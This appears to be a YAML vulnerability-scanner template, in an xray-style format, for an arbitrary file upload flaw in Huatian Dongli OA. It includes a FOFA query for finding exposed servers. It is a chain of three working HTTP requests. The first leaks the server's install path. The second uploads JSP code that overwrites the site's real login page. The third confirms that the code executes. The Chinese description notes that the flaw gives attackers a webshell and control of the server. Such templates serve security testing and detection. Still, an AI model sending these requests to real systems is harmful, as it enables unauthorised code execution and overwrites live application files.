id: huatiandongli-oa-anyfile-upload
info:
name: 华天动力 OA 任意文件上传漏洞
author: daffainfo
severity: critical
verified: true
description: |
华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合,为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台,在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。华天动力OA存在任意文件上传漏洞,攻击者可以上传任意文件,获取webshell,控制服务器权限,读取敏感信息等。
fofa-query: body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"
reference:
- https://mp.weixin.qq.com/s/Ite0aOtRp9SPrh4h8yNQwQ
set:
randomStr: randomLowercase(12)
rboundary: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /OAapp/jsp/upload.jsp
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"xxx.xml\"\r\n\
Content-Type: image/png\r\n\
\r\n\
real path\r\n\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"filename\"\r\n\
\r\n\
xxx.png\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200 && response.body.bcontains(b'FILE') && response.body.bcontains(b'webapps')
output:
search: '"(?P<path>.+)/webapps".bsubmatch(response.body)'
path: search["path"]
r1:
request:
method: POST
path: /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"EDITFILE\"; filename=\"xxx.txt\"\r\n\
Content-Type: image/png\r\n\
\r\n\
<%out.print(\"{{randomStr}}\");%>\r\n\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"newFileName\"\r\n\
\r\n\
{{path}}/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200
r2:
request:
method: GET
path: /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
headers:
Cookie: JSESSIONID=63A1AF6B0B60634BF5B8E71AB4D88B85
expression: response.status == 200 && (response.body.bcontains(bytes(randomStr)) || response.body.bcontains(b'5DBB70'))
expression: r0() && r1() && r2()